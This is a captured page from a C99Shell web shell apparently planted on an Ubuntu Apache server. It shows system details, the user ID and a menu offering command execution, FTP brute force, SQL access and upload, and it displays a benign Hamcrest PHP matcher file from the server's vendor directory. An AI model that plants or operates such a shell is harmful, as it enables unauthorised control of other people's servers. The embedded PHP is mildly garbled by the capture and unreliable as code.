!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/uploads/script/vendor/hamcrest/hamcrest-php/hamcrest/Hamcrest/Core/   drwxr-xr-x
Free 13.21 GB of 57.97 GB (22.79%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     CombinableMatcher.php (1.74 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
namespace Hamcrest\Core;

/*
 Copyright (c) 2009 hamcrest.org
 */

use Hamcrest\BaseMatcher;
use 
Hamcrest\Description;
use 
Hamcrest\Matcher;

class 
CombinableMatcher extends BaseMatcher
{

    private 
$_matcher;

    public function 
__construct(Matcher $matcher)
    {
        
$this->_matcher $matcher;
    }

    public function 
matches($item)
    {
        return 
$this->_matcher->matches($item);
    }

    public function 
describeTo(Description $description)
    {
        
$description->appendDescriptionOf($this->_matcher);
    }

    
/** Diversion from Hamcrest-Java... Logical "and" not permitted */
    
public function andAlso(Matcher $other)
    {
        return new 
self(new AllOf($this->_templatedListWith($other)));
    }

    
/** Diversion from Hamcrest-Java... Logical "or" not permitted */
    
public function orElse(Matcher $other)
    {
        return new 
self(new AnyOf($this->_templatedListWith($other)));
    }

    
/**
     * This is useful for fluently combining matchers that must both pass.
     * For example:
     * <pre>
     *   assertThat($string, both(containsString("a"))->andAlso(containsString("b")));
     * </pre>
     *
     * @factory
     */
    
public static function both(Matcher $matcher)
    {
        return new 
self($matcher);
    }

    
/**
     * This is useful for fluently combining matchers where either may pass,
     * for example:
     * <pre>
     *   assertThat($string, either(containsString("a"))->orElse(containsString("b")));
     * </pre>
     *
     * @factory
     */
    
public static function either(Matcher $matcher)
    {
        return new 
self($matcher);
    }

    
// -- Private Methods

    
private function _templatedListWith(Matcher $other)
    {
        return array(
$this->_matcher$other);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0054 ]--